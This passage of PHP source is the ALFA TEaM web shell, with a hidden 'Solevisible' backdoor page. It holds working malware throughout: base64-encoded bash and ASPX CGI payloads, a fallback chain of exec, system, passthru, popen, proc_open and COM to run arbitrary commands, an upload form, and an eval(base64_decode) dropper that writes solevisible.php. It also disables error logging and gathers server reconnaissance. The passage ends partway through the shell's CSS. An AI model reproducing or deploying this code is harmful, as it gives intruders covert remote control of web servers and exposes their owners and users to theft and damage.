			$bash = "rVRdj5pAFH2uv+I6DGa1Iaybpg9amrRboptYbV360JQGWRiFyPI5WreU/95hoCyjsfFh52nm3nM/zuTcK3XVBz9UH+zM6xDHi0AhgG6jkJKQKvQpJiOg5EBVjz4GZmiGqLPehQ71oxCcjW9tCLW+LO4Na2+n2VU/7wA7PwDhpf71m87sn3VjuviEoKsBKoEIfkKvBymhuzSs0V1QfrMQFrD8bt0by7v5xDqH5cjbxdzQ54Y10+cTYyrCXqXEdkGZwxEKTtLzjHVUIdJyiRO5hHF6poQlUEICw5OegsixA9gDBY+/qYZwPlTV1yoUsoy47ZfnB6RMkku0AGVD4RoUmzHJaVH9jcxYjMGNOLw8+zLNvmAIWTblQYEaDy9ApYHcsvnrC7JTj4RNRHk8jUFG16ObQjBXBZgVCea6I7T6pxOTnQPOvWLV4NY+v7pRSPiFQ6uw/3w3U5Gon/KzAwo3Zz47gRi27MszbnPsjAAegv9MbqIbfaH3RmR5WwZFLZ1EO3b0ROrjcfMslSPmPpmDCypz8Nnylfd8Dx8XxvRF+b0MhaS4nAbJbIdfMs9f0+qmIcADECemrpwcj0fMC8pyrz0Z29IYy7LWNnLZxtJAa9mqdiUcC+Hl3hoiYPPyYTZDoHDlZirgLaj1IOGsJmwKpMghjlLK3FukoZWwQcBEeG+iFRIHoxmElv65toDV7iQ7kj5p+IqPD3YeXfgDbEWTt29AUarU/WpdNxiPONuzqHKpv4tT8t50UId1FbBdwWsULb9aA/4C";
			$aspx = "jZNda9swFIavk18hNAoOAXdsozdLyrrUKYaRlriNN0IuFPvEFbUl70jOB2P97T1SPBo8ynZlS+d53/Ph49HZF3YnCmDfhCoaehnzyTvOIiXWJSwk7BIrLF1uRGmAs7PL/ogUcVVrtGwmKjC1yCieHIyFKkxhHT7E7jHRyqIuzb8111IUShsrs/+A41vPENTvGYtSFSyrcjZmc/jZgLHhVGO15HTHV59fkUfInv6G3K3H5CZokTHj6cfZdn2z+CC+z+of1b7cVNOdWLwf88Gvfq+3PlhYrlgurCDDtipqdgtIvqirr8LAxafEJw6ojgH59441tvQ97G14lUziOFKZzok7nsIbsK3O2ZOQlHeoMzCG1aRXsGPtOfC2dUifB22sNjqcINCXmulUqlzviLbYQBeayhLcUCnsZhTCHniXucKiqUBZ46DzjHE2dDPuYg8Gkkcoy2gPWWOdo9+RLjaHXCJk1JhQucD8trF1Y98orwtHiBrfYFONTzSqay/QePDVnjYTHAfYroD+k9dHT0qhpCK/15HKgwF1+hr2yU+jzntO+6iVgTBFaSHgS6NL2Eoj6Xd5FrVcjWqESz48phvy0bk/O+3vPi3uCw==";
			if($lang=="perl")$source = $perl;elseif($lang=="py")$source = $py;else $source = $bash;
			if($lang == "aspx"){
				alfaWriteTocgiapi("aspx.aspx",$aspx);
			}else{
				alfaWriteTocgiapi($lang.".alfa",$source);
			}
			alfacgihtaccess('cgi', "alfacgiapi/");
		}else{
			$lang = $_COOKIE["alfacgiapi"];
		}
		$cgi_ext = ".alfa";
		if($lang=="aspx"){
			$cgi_ext = ".aspx";
		}
		$cgi_url = __ALFA_DATA_FOLDER__."/alfacgiapi/".$lang.$cgi_ext;
		$cmd = "check=W3NvbGV2aXNpYmxlfmFwaV0=&cmd=".__ZW5jb2Rlcg("cd ".$GLOBALS['cwd'].";".$cmd);
		if($is_curl){
			$address = ($_SERVER['SERVER_PORT'] == 443 ? "https://" : "http://").$_SERVER["SERVER_NAME"].dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
			$post = new AlfaCURL();
			$data = $post->Send($address, "post", $cmd);
		}elseif($is_socket){
			$server = $_SERVER["SERVER_NAME"];
			$uri = dirname($_SERVER["REQUEST_URI"])."/".$cgi_url;
			$data = _alfa_fsockopen($server,$uri,$cmd);
		}
		$out = "";
		if(strpos($data, "[solevisible~api]") !== false && strpos($data, '[solevisible~api]<pre>"+output+"</pre>') === false){
			if($set_cookie){
				__alfa_set_cookie("alfacgiapi", $lang);
			}
			if(@preg_match("/<pre>(.*?)<\/pre>/s", $data, $res)){
				$out = $res[1];
			}
		}elseif($lang=="perl"){
			return _alfa_cgicmd($cmd_pure,"py",$set_cookie);
		}elseif($lang=="py"){
			return _alfa_cgicmd($cmd_pure,"bash",$set_cookie);
		}elseif($lang=="bash" && $GLOBALS['sys']=="win"){
			return _alfa_cgicmd($cmd_pure,"aspx",$set_cookie);
		}else{
			if($set_cookie){
				__alfa_set_cookie("alfacgiapi_mode", "off");
			}
		}
		return trim($out);
	}else{
		return "";
	}
}
function alfaGetCwd(){
	if(function_exists("getcwd")){
		return @getcwd();
	}else{
		return dirname($_SERVER["SCRIPT_FILENAME"]);
	}
}
function alfaEx($in,$re=false,$cgi=true,$all=false){
	$data = _alfa_php_cmd($in,$re);
	if(empty($data)&&$cgi||$all){
		if($GLOBALS['sys']=='unix'){
			if(strlen(_alfa_php_cmd("whoami"))==0||$all){
				$cmd = _alfa_cgicmd($in);
				if(!empty($cmd)){
					return $cmd;
				}
			}
		}
	}
	return $data;
}
function _alfa_php_cmd($in,$re=false){
$out='';
try{
if($re)$in=$in." 2>&1";
if(function_exists('exec')){
@exec($in,$out);
$out = @join("\n",$out);
}elseif(function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
}elseif(function_exists('system')){
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
}elseif(function_exists("popen")&&function_exists("pclose")){
if(is_resource($f = @popen($in,"r"))){
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
}elseif(function_exists('proc_open')){
$pipes = array();
$process = @proc_open($in.' 2>&1', array(array("pipe","w"), array("pipe","w"), array("pipe","w")), $pipes, null);
$out=@stream_get_contents($pipes[1]);
}elseif(class_exists('COM')){
$alfaWs = new COM('WScript.shell');
$exec = $alfaWs->exec('cmd.exe /c '.$_POST['alfa1']);
$stdout = $exec->StdOut();
$out=$stdout->ReadAll();
}
}catch(Exception $e){}
return $out;
}
function _alfa_fsockopen($server,$uri,$post){
	$socket = @fsockopen($server, 80, $errno, $errstr, 15);
	if($socket){
		$http  = "POST {$uri} HTTP/1.0\r\n";
		$http .= "Host: {$server}\r\n";
		$http .= "User-Agent: " . $_SERVER['HTTP_USER_AGENT'] . "\r\n";
		$http .= "Content-Type: application/x-www-form-urlencoded\r\n";
		$http .= "Content-length: " . strlen($post) . "\r\n";
		$http .= "Connection: close\r\n\r\n";
		$http .= $post . "\r\n\r\n";
		fwrite($socket, $http);
		$contents = "";
		while (!@feof($socket)) {
			$contents .= @fgets($socket, 4096);
		}
		list($header, $body) = explode("\r\n\r\n", $contents, 2);
		@fclose($socket);
		return $body;
	}else{
		return "";
	}
}
if(isset($_GET["solevisible"])){
@error_reporting(E_ALL ^ E_NOTICE);
echo '<html>';
echo "<title>Solevisible Hidden Shell</title>";
echo "<body bgcolor=#000000>";
echo '<b><big><font color=#7CFC00>Kernel : </font><font color="#FFFFF">'.(function_exists('php_uname')?php_uname():'???').'</font></b></big>';
$safe_mode = @ini_get('safe_mode');
if($safe_mode){$r = "<b style='color: red'>On</b>";}else{$r = "<b style='color: green'>Off</b>";}
echo "<br><b style='color: #7CFC00'>OS: </font><font color=white>" . PHP_OS . "</font><br>";
echo "<b style='color: #7CFC00'>Software: </font><font color=white>" . $_SERVER ['SERVER_SOFTWARE'] . "</font><br>";
echo "PHP Version: <font color=white>" . PHP_VERSION .  "</font><br />";
echo "PWD:<font color=#FFFFFF> " . str_replace("\\","/",@alfaGetCwd()) . "/<br />";
echo "<b style='color: #7CFC00'>Safe Mode : $r<br>";
echo"<font color=#7CFC00>Disable functions : </font>";
$disfun = @ini_get('disable_functions');
if(empty($disfun)){$disfun = '<font color="green">NONE</font>';}
echo"<font color=red>";
echo "$disfun";
echo"</font><br>";
echo "<b style='color: #7CFC00'>Your Ip Address is :  </font><font color=white>" . $_SERVER['REMOTE_ADDR'] . "</font><br>";
echo "<b style='color: #7CFC00'>Server Ip Address is :  </font><font color=white>".(function_exists('gethostbyname')?@gethostbyname($_SERVER["HTTP_HOST"]):'???')."</font><br><p>";
echo '<hr><center><form onSubmit="this.upload.disabled=true;this.cwd.value = btoa(unescape(encodeURIComponent(this.cwd.value)));" action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo 'CWD: <input type="text" name="cwd" value="'.str_replace("\\","/",@alfaGetCwd()).'/" size="59"><p><input type="file" name="file" size="45"><input name="upload" type="submit" id="_upl" value="Upload"></p></form></center>';
if(isset($_FILES['file'])){
if(@move_uploaded_file($_FILES['file']['tmp_name'], __ZGVjb2Rlcg(@$_POST['cwd']).'/'.$_FILES['file']['name'])){echo '<b><font color="#7CFC00"><center>Upload Successfully ;)</font></a><font color="#7CFC00"></b><br><br></center>'; }
else{echo '<center><b><font color="#7CFC00">Upload failed :(</font></a><font color="#7CFC0"></b></center><br><br>'; }
}
echo '<hr><form onSubmit="this.execute.disabled=true;this.command_solevisible.value = btoa(unescape(encodeURIComponent(this.command_solevisible.value)));" method="POST">Execute Command: <input name="command_solevisible" value="" size="59" type="text" align="left" ><input name="execute" value="Execute" type="submit"><br></form>
<hr><pre>';
if(isset($_POST['command_solevisible'])){
if(strtolower(substr(PHP_OS,0,3))=="win")$separator='&';else $separator=';';
$solevisible = "cd '".addslashes(str_replace("\\","/",@alfaGetCwd()))."'".$separator."".__ZGVjb2Rlcg($_POST['command_solevisible']);
echo alfaEx($solevisible);
}
echo'</pre>
</body></html>';
exit;}
@error_reporting(E_ALL ^ E_NOTICE);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@ini_set('magic_quotes_runtime', 0);
@set_time_limit(0);
if(function_exists('set_magic_quotes_runtime')){
@set_magic_quotes_runtime(0);
}
foreach($_POST as $key => $value){
if(is_array($_POST[$key])){
$i=0;
foreach($_POST[$key] as $f) {
$f = trim(str_replace(' ', '+',$f));
$_POST[$key][$i] = decrypt_post($f);
$i++;
}
}else{
$value = trim(str_replace(' ', '+',$value));
$_POST[$key] = decrypt_post($value);
}
}
$default_action = 'FilesMan2';//'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
if(strtolower(substr(PHP_OS,0,3))=="win")
$GLOBALS['sys']='win';
else
$GLOBALS['sys']='unix';
$GLOBALS['home_cwd'] = @alfaGetCwd();
$GLOBALS["need_to_update_header"] = "false";
$GLOBALS['glob_chdir_false'] = false;
if(isset($_POST['c'])){
if(!@chdir($_POST['c'])){
	$GLOBALS['glob_chdir_false'] = true;
}
}
$GLOBALS['cwd'] = (isset($_POST['c']) && @is_dir($_POST['c']) ?$_POST['c']:@alfaGetCwd());
if($GLOBALS['glob_chdir_false']){
	$GLOBALS['cwd'] = (isset($_POST['c']) && !empty($_POST['c']) ? $_POST['c'] : @alfaGetCwd());
}
if($GLOBALS['sys'] == 'win'){
$GLOBALS['home_cwd'] = str_replace("\\", "/", $GLOBALS['home_cwd']);
$GLOBALS['cwd'] = str_replace("\\", "/", $GLOBALS['cwd']);
}
if($GLOBALS['cwd'][strlen($GLOBALS['cwd'])-1] != '/' )$GLOBALS['cwd'] .= '/';
if(!function_exists('sys_get_temp_dir')){function sys_get_temp_dir() {foreach (array('TMP', 'TEMP', 'TMPDIR') as $env_var) {if ($temp = getenv($env_var)) {return $temp;}}$temp = tempnam($GLOBALS['__file_path'], '');if (_alfa_file_exists($temp,false)) {unlink($temp);return dirname($temp);}return null;}}
if(!function_exists("mb_strlen")){
	function mb_strlen($str, $c=""){
		return strlen($str);
	}
}
if(!function_exists("mb_substr")){
	function mb_substr($str, $start, $end, $c=""){
		return substr($str, $start, $end);
	}
}
define("ALFA_TEMPDIR", (function_exists("sys_get_temp_dir") ? (@is_writable(str_replace('\\','/',sys_get_temp_dir()))?sys_get_temp_dir():(@is_writable('.')?'.':false)) : false));
function alfahead(){
$GLOBALS['__ALFA_SHELL_CODE'] = 'PD9waHAgZWNobyAiPHRpdGxlPlNvbGV2aXNpYmxlIFVwbG9hZGVyPC90aXRsZT5cbjxib2R5IGJnY29sb3I9IzAwMDAwMD5cbjxicj5cbjxjZW50ZXI+PGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjxiPllvdXIgSXAgQWRkcmVzcyBpczwvYj4gPGZvbnQgY29sb3I9XCJ3aGl0ZVwiPjwvZm9udD48L2NlbnRlcj5cbjxiaWc+PGZvbnQgY29sb3I9XCIjN0NGQzAwXCI+PGNlbnRlcj5cbiI7ZWNobyAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTtlY2hvICI8L2NlbnRlcj48L2ZvbnQ+PC9hPjxmb250IGNvbG9yPVwiIzdDRkMwMFwiPlxuPGJyPlxuPGJyPlxuPGNlbnRlcj48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48YmlnPlNvbGV2aXNpYmxlIFVwbG9hZCBBcmVhPC9iaWc+PC9mb250PjwvYT48Zm9udCBjb2xvcj1cIiM3Q0ZDMDBcIj48L2ZvbnQ+PC9jZW50ZXI+PGJyPlxuPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnIG5hbWU9J3VwbG9hZGVyJz4iO2VjaG8gJzxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlIiBzaXplPSI0NSI+PGlucHV0IG5hbWU9Il91cGwiIHR5cGU9InN1Ym1pdCIgaWQ9Il91cGwiIHZhbHVlPSJVcGxvYWQiPjwvZm9ybT48L2NlbnRlcj4nO2lmKGlzc2V0KCRfUE9TVFsnX3VwbCddKSYmJF9QT1NUWydfdXBsJ109PSAiVXBsb2FkIil7aWYoQG1vdmVfdXBsb2FkZWRfZmlsZSgkX0ZJTEVTWydmaWxlJ11bJ3RtcF9uYW1lJ10sICRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkge2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBTdWNjZXNzZnVsbHkgOyk8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO31lbHNle2VjaG8gJzxiPjxmb250IGNvbG9yPSIjN0NGQzAwIj48Y2VudGVyPlVwbG9hZCBmYWlsZWQgOig8L2ZvbnQ+PC9hPjxmb250IGNvbG9yPSIjN0NGQzAwIj48L2I+PGJyPjxicj4nO319ZWNobyAnPGNlbnRlcj48c3BhbiBzdHlsZT0iZm9udC1zaXplOjMwcHg7IGJhY2tncm91bmQ6IHVybCgmcXVvdDtodHRwOi8vc29sZXZpc2libGUuY29tL2ltYWdlcy9iZ19lZmZlY3RfdXAuZ2lmJnF1b3Q7KSByZXBlYXQteCBzY3JvbGwgMCUgMCUgdHJhbnNwYXJlbnQ7IGNvbG9yOiByZWQ7IHRleHQtc2hhZG93OiA4cHggOHB4IDEzcHg7Ij48c3Ryb25nPjxiPjxiaWc+c29sZXZpc2libGVAZ21haWwuY29tPC9iPjwvYmlnPjwvc3Ryb25nPjwvc3Bhbj48L2NlbnRlcj4nOz8+';
$alfa_uploader = '$x = base64_decode("'.$GLOBALS['__ALFA_SHELL_CODE'].'");$solevisible = fopen("solevisible.php","w");fwrite($solevisible,$x);';
define("ALFA_UPLOADER", "eval(base64_decode('".__ZW5jb2Rlcg($alfa_uploader)."'))");
if(!isset($_POST['ajax'])){
function Alfa_GetDisable_Function(){
$disfun = @ini_get('disable_functions');
$afa = '<span class="header_show_all">All Functions Accessible</span>';
if(empty($disfun))return($afa);
$s = explode(',',$disfun);
$s = array_unique($s);
$i=0;
$b=0;
$func = array('system','exec','shell_exec','proc_open','popen','passthru','symlink','dl');
$black_list = array();
$allow_list = array();
foreach($s as $d){
	$d=trim($d);
	if(empty($d)||!is_callable($d))continue;
	if(!function_exists($d)){
		if(in_array($d,$func)){
			$dis .= $d." | ";$b++;
			$black_list[] = $d;
		}else{
			$allow_list[] = $d;
		}
		$i++;
	}
}
if($i==0)return($afa);
if($i <= count($func)){
$all = array_values(array_merge($black_list, $allow_list));
return('<span class="disable_functions">'.implode(" | ", $all).'</span>');
}
return('<span class="disable_functions">'.$dis.'</span><a id="menu_opt_GetDisFunc" href=javascript:void(0) onclick="alfa_can_add_opt = true;g(\'GetDisFunc\',null,\'wp\');"><span class="header_show_all">Show All ('.$i.')</span></a>');
}
function AlfaNum(){
$args = func_get_args();
$alfax = array();
$find = array();
for($i=1;$i<=10;$i++){
$alfax[] = $i;
}
foreach($args as $arg){
$find[] = $arg;
}
echo '<script>';
foreach($alfax as $alfa){
if(in_array($alfa,$find))
continue;
echo 'alfa'.$alfa."_=";
}
echo '""</script>';
}
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
$freeSpace = function_exists('diskfreespace')?@diskfreespace($GLOBALS['cwd']):'?';
$totalSpace = function_exists('disk_total_space')?@disk_total_space($GLOBALS['cwd']):'?';
$totalSpace = $totalSpace?$totalSpace:1;
$on="<span class='header_on'> ON </span>";
$of="<span class='header_off'> OFF </span>";
$none="<span class='header_none'> NONE </span>";
if(function_exists('ssh2_connect'))
$ssh2=$on;
else
$ssh2=$of;
if(function_exists('curl_version'))
$curl=$on;
else
$curl=$of;
if(function_exists('mysql_get_client_info')||class_exists('mysqli'))
$mysql=$on;
else
$mysql=$of;
if(function_exists('mssql_connect'))
$mssql=$on;
else
$mssql=$of;
if(function_exists('pg_connect'))
$pg=$on;
else
$pg=$of;
if(function_exists('oci_connect'))
$or=$on;
else
$or=$of;
if(@ini_get('disable_functions'))
$disfun=@ini_get('disable_functions');
else
$disfun="All Functions Enable";
if(@ini_get('safe_mode'))
$safe_modes="<span class='header_off'>ON</span>";
else
$safe_modes="<span class='header_on'>OFF</span>";
$cgi_shell="<span class='header_off' id='header_cgishell'>OFF</span>";
if(@ini_get('open_basedir')){
$basedir_data = @ini_get('open_basedir');
if(strlen($basedir_data)>120){
$open_b=substr($basedir_data,0, 120)."...";
}else{
$open_b = $basedir_data;
}
}else{$open_b=$none;}
if(@ini_get('safe_mode_exec_dir'))
$safe_exe=@ini_get('safe_mode_exec_dir');
else
$safe_exe=$none;
if(@ini_get('safe_mode_include_dir'))
$safe_include=@ini_get('safe_mode_include_dir');
else
$safe_include=$none;
if(!function_exists('posix_getegid'))
{
$user = function_exists("get_current_user")?@get_current_user():"????";
$uid = function_exists("getmyuid")?@getmyuid():"????";
$gid = function_exists("getmygid")?@getmygid():"????";
$group = "?";
}else{
$uid = function_exists("posix_getpwuid")&&function_exists("posix_geteuid")?@posix_getpwuid(posix_geteuid()):array("name"=>"????", "uid"=>"????");
$gid = function_exists("posix_getgrgid")&&function_exists("posix_getegid")?@posix_getgrgid(posix_getegid()):array("name"=>"????", "gid"=>"????");
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a class='header_pwd' onclick='g(\"FilesMan\",\"";
$cach_cwd_path = "";
for($j=0; $j<=$i; $j++){
$cwd_links .= $path[$j].'/';
$cach_cwd_path .= $path[$j].'/';
}
$cwd_links .= "\")' path='".$cach_cwd_path."' href='#action=fileman&path=".$cach_cwd_path."'>".$path[$i]."/</a>";
}
$drives = "";
foreach(range('a','z') as $drive)
if(@is_dir($drive.':\\'))
$drives .= '<a href="javascript:void(0);" class="header_drive" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
$csscode ='	-moz-animation-name: spin;-moz-animation-iteration-count: infinite;-moz-animation-timing-function: linear;-moz-animation-duration: 1s;-webkit-animation-name: spin;-webkit-animation-iteration-count: infinite;-webkit-animation-timing-function: linear;-webkit-animation-duration: 1s;-ms-animation-name: spin;-ms-animation-iteration-count: infinite;-ms-animation-timing-function: linear;-ms-animation-duration: 1s;animation-name: spin;animation-iteration-count: infinite;animation-timing-function: linear;animation-duration: 1s;';
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta name="ROBOTS" content="NOINDEX, NOFOLLOW" />
<link href="'.__showicon('alfamini').'" rel="icon" type="image/x-icon"/>
<title>..:: '.$_SERVER['HTTP_HOST'].' ~ ALFA TEaM Shell - v'.__ALFA_VERSION__.'-'.__ALFA_CODE_NAME__.' ::..</title>
<style type="text/css">';?>
.hlabale{color:#67abdf;border-radius:4px;border:1px solid #27979b;margin-left:7px;padding:2px}#tbl_sympphp tr{text-align:center}#PhpCode,.php-evals-ace,.view_ml_content{position:absolute;top:0;right:0;bottom:0;left:0;background:#1b292b26;top:50px}.editor-view{position:relative;height:100%}.view-content{position:absolute;overflow-y:auto;width:100%;height:93%}::-webkit-scrollbar-track{-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);border-radius:10px;background-color:#000115}::-webkit-scrollbar{width:10px;background-color:#000115}::-webkit-scrollbar-thumb{border-radius:10px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#1e82b5}.editor-file-name{margin-left:29px;margin-top:4px;overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.editor-icon{position:absolute}.is_active{background:rgba(49,55,93,.77);border-radius:10px}.history-list{height:88%;overflow-y:auto}.opt-title{position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);color:#2fd051;font-size:25px;font-family:monospace}.options_min_badge{visibility:hidden;text-align:center;right:30px;color:#fff;background:#2a8a24;padding:6px;border-radius:50%;width:15px;height:15px;display:inline-block;position:absolute;top:-7px}#cgiloader-minimized,#database_window-minimized,#editor-minimized,#options_window-minimized{display:block;position:fixed;right:-30px;width:30px;height:30px;top:30%;z-index:9999}.minimized-wrapper{position:relative;background:#0e304a;width:44px;height:130px;cursor:pointer;border-bottom-left-radius:5px;border-top-left-radius:5px}.minimized-text{transform:rotate(-90deg);color:wheat;font-size:x-large;display:inline-block;position:absolute;right:-51px;width:129px;top:-10px;border-top-left-radius:4%;height:56px;padding:3px}.close-button,.editor-minimize{height:26px;width:38px;right:7px;background:#1d5673;cursor:pointer;position:absolute;box-sizing:border-box;line-height:50px;display:inline-block;top:17px;border-radius:100px}.editor-minimize{right:50px}.close-button:after,.close-button:before,.editor-minimize:before{transform:rotate(-45deg);content:"";position:absolute;top:63%;right:6px;margin-top:-5px;margin-left:-25px;display:block;height:4px;width:27px;background-color:rgba(216,207,207,.75);transition:all .25s ease-out}.editor-minimize:before{transform:rotate(0)}.close-button:after{transform:rotate(-135deg)}.close-button:hover:after,.close-button:hover:before,.editor-minimize:hover:before{background-color:red}.close-button:hover,.editor-minimize:hover{background-color:rgba(39,66,80,.96)}#cgiloader,#database_window,#editor,#options_window{display:none;position:fixed;top:0;width:100%;height:100%;z-index:20}.editor-wrapper{width:100%;height:100%;position:relative;top:1%}.editor-header{width:97%;background:rgba(21,66,88,.93);height:37px;margin-left:13px;position:relative;border-top-left-radius:15px;border-top-right-radius:15px}.editor-path{position:absolute;font-size:x-large;margin-left:10px;top:6px;color:#00ff7f}.editor-modal{position:relative;top:0;background-color:rgba(0,1,23,.95);height:90%;margin-left:20%;margin-right:2%;border:2px #0e304a solid}.editor-explorer{width:19%;height:90%;background-color:rgba(0,1,23,.94);position:absolute;z-index:2;left:1%;border:2px #0e304a solid}.editor-controller{position:relative;top:-13px}.file-holder{position:relative;width:100%;height:30px}.file-holder>.history{position:absolute;color:#03b3a3;cursor:pointer;left:5px;font-size:18px;font-family:sans-serif;width:89%;height:100%;z-index:3;border-radius:10px;transition:background-color .6s ease-out}.file-holder>.history-close{display:block;opacity:0;position:absolute;right:2px;width:20px;top:4px;text-align:center;cursor:pointer;color:#fff;background:red;border-radius:100px;font-family:monospace;z-index:10;transition:opacity .6s ease-out;font-size:15px;height:19px}.file-holder>.history:hover{background-color:#646464}.editor-explorer>.hheader{position:relative;color:#14ff07;border-bottom:2px #206aa2 solid;text-align:center;font-family:sans-serif;margin-bottom:10px;height:55px}.editor-search{position:absolute;bottom:7px;left:31px}.hheader-text{position:absolute;left:8px;top:2px}.history-clear{position:absolute;right:8px;top:2px;cursor:pointer}.editor-body{position:relative;margin-left:3px;height:100%}.editor-anim-close{-webkit-animation:editorClose .8s ease-in-out forwards;-moz-animation:editorClose .8s ease-in-out forwards;-ms-animation:editorClose .8s ease-in-out forwards;animation:editorClose .8s ease-in-out forwards}@keyframes editorClose{0%{visibility:1;opacity:1}100%{visibility:0;opacity:0}}.editor-anim-minimize{-webkit-animation:editorMinimize .8s ease-in-out forwards;-moz-animation:editorMinimize .8s ease-in-out forwards;-ms-animation:editorMinimize .8s ease-in-out forwards;animation:editorMinimize .8s ease-in-out forwards}@keyframes editorMinimize{0%{right:0;opacity:1}100%{right:-2000px;opacity:0}}.editor-anim-show{-webkit-animation:editorShow .8s ease-in-out forwards;-moz-animation:editorShow .8s ease-in-out forwards;-ms-animation:editorShow .8s ease-in-out forwards;animation:editorShow .8s ease-in-out forwards}@keyframes editorShow{0%{right:-2000px;opacity:0}100%{right:0;opacity:1}}.minimized-show{-webkit-animation:minimizeShow .8s ease-in-out forwards;-moz-animation:minimizeShow .8s ease-in-out forwards;-ms-animation:minimizeShow .8s ease-in-out forwards;animation:minimizeShow .8s ease-in-out forwards}@keyframes minimizeShow{0%{right:-30px;opacity:0}100%{right:0;opacity:1}}.minimized-hide{-webkit-animation:minimizeHide .8s ease-in-out forwards;-moz-animation:minimizeHide .8s ease-in-out forwards;-ms-animation:minimizeHide .8s ease-in-out forwards;animation:minimizeHide .8s ease-in-out forwards}@keyframes minimizeHide{0%{right:0;opacity:1}100%{right:-30px;opacity:0}}.solevisible-text:hover{-webkit-text-shadow:0 0 25px #0f0;-moz-text-shadow:0 0 25px #0f0;-ms-text-shadow:0 0 25px #0f0;text-shadow:0 0 25px #0f0}.update-holder{position:fixed;top:0;background-color:rgba(0,24,29,.72);width:100%;height:100%}.update-content{position:relative}.update-content>a{text-decoration:none;position:absolute;color:rgba(103,167,47,.77);left:24%;margin-top:7%;font-size:40px}.update-close{position:absolute;right:0;margin-right:23px;top:10px;font-size:27px;background-color:#130f50;width:5%;border-radius:100px;cursor:pointer;border:2px #0e265a solid}.update-close:hover{border:2px #25ff00 solid;color:red}.filestools{height:auto;width:auto;color:#67abdf;font-size:12px;font-family:Verdana,Geneva,sans-serif}@-moz-document url-prefix(){#search-input{width:173px}.editor-path{top:3px}}.filters-holder{padding:5px;padding-left:10px}.filters-holder input{width:200px}.filters-holder span{color:#8bc7f7}#rightclick_menu{width:175px;visibility:hidden;opacity:0;position:fixed;background:#0f304a;color:#555;font-family:sans-serif;font-size:11px;-webkit-transition:opacity .5s ease-in-out;-moz-transition:opacity .5s ease-in-out;-ms-transition:opacity .5s ease-in-out;-o-transition:opacity .5s ease-in-out;transition:opacity .5s ease-in-out;-webkit-box-shadow:-1px 0 17px 0 #8b8b8c;-moz-box-shadow:-1px 0 17px 0 #8b8b8c;box-shadow:-1px 0 17px 0 #8b8b8c;padding:0;border:1px solid #737373;border-radius:10px}#rightclick_menu a{display:block;color:#fff;font-weight:bolder;text-decoration:none;padding:6px 8px 6px 30px;position:relative;padding-left:40px}#rightclick_menu a i.fa,#rightclick_menu a img{height:20px;font-size:17px;width:20px;position:absolute;left:5px;top:2px;padding-left:5px}#rightclick_menu a span{color:#bcb1b3;float:right}#rightclick_menu a:hover{color:#fff;background:#3879d9}#rightclick_menu hr{border:1px solid #ebebeb;border-bottom:0}.cl-popup-fixed{position:fixed;top:0;left:0;width:100%;height:100%;background:#201e1ead}#shortcutMenu-holder{position:absolute;top:40%;left:50%;transform:translate(-50%,-50%);background:#1f1e1edb;height:190px;width:500px;color:#fff}#shortcutMenu-holder>.popup-head{background:#207174;padding:6px;border-top:10px;text-align:center;font-family:sans-serif;color:#fff}#shortcutMenu-holder>form{padding:10px}#shortcutMenu-holder>form>label{display:block}#shortcutMenu-holder>form>input{width:99%;height:24px;margin-top:4px;color:#fff;outline:0;font-size:16px}#shortcutMenu-holder>.popup-foot{float:right;height:30px;margin-right:8px}#shortcutMenu-holder>.popup-foot>button{height:100%;cursor:pointer;color:#fff;outline:0}.php-terminal-output{overflow:auto;height:86%;border:1px solid #1e5673;border-radius:10px}.cmd-history-holder{visibility:hidden;opacity:0;position:absolute;color:#dff3d5;background:#093d58;top:-300px;height:300px;width:calc(69% + -11px);border-radius:10px 10px 0 0;left:calc(2% - 9px);transition:visibility .5s,opacity .5s linear}.cmd-history-holder .commands-history-header{background:#37504e;text-align:center;border-radius:10px 10px 0 0}.cmd-history-icon{width:27px;top:6px;left:calc(69% + 5px);position:absolute;cursor:pointer}.history-cmd-line{padding:4px;border-bottom:1px dashed;cursor:pointer}.history-cmd-line:hover{background:#961111}#myUL,#myUL ul{list-style-type:none}#myUL{margin:0;padding:0}.box{cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.box::before{content:"\2610";color:#000;display:inline-block;margin-right:6px}.check-box::before{content:"\2611";color:#1e90ff}.nested{display:none}.active{display:block}.flag-holder>img{width:20px;vertical-align:middle;padding-left:6px}#options_window .content_options_holder .options_holder{position:relative;display:none;overflow:auto;min-height:300px;max-height:calc(100vh - 100px)}#options_window .content_options_holder .options_holder .header{min-height:50vh}#options_window .content_options_holder .options_holder.option_is_active{display:block}#options_window .content_options_holder .options_tab{padding:5px;margin-left:14px;margin-right:30px;background:#000;border-bottom:7px solid #0f304a;border-left:7px solid 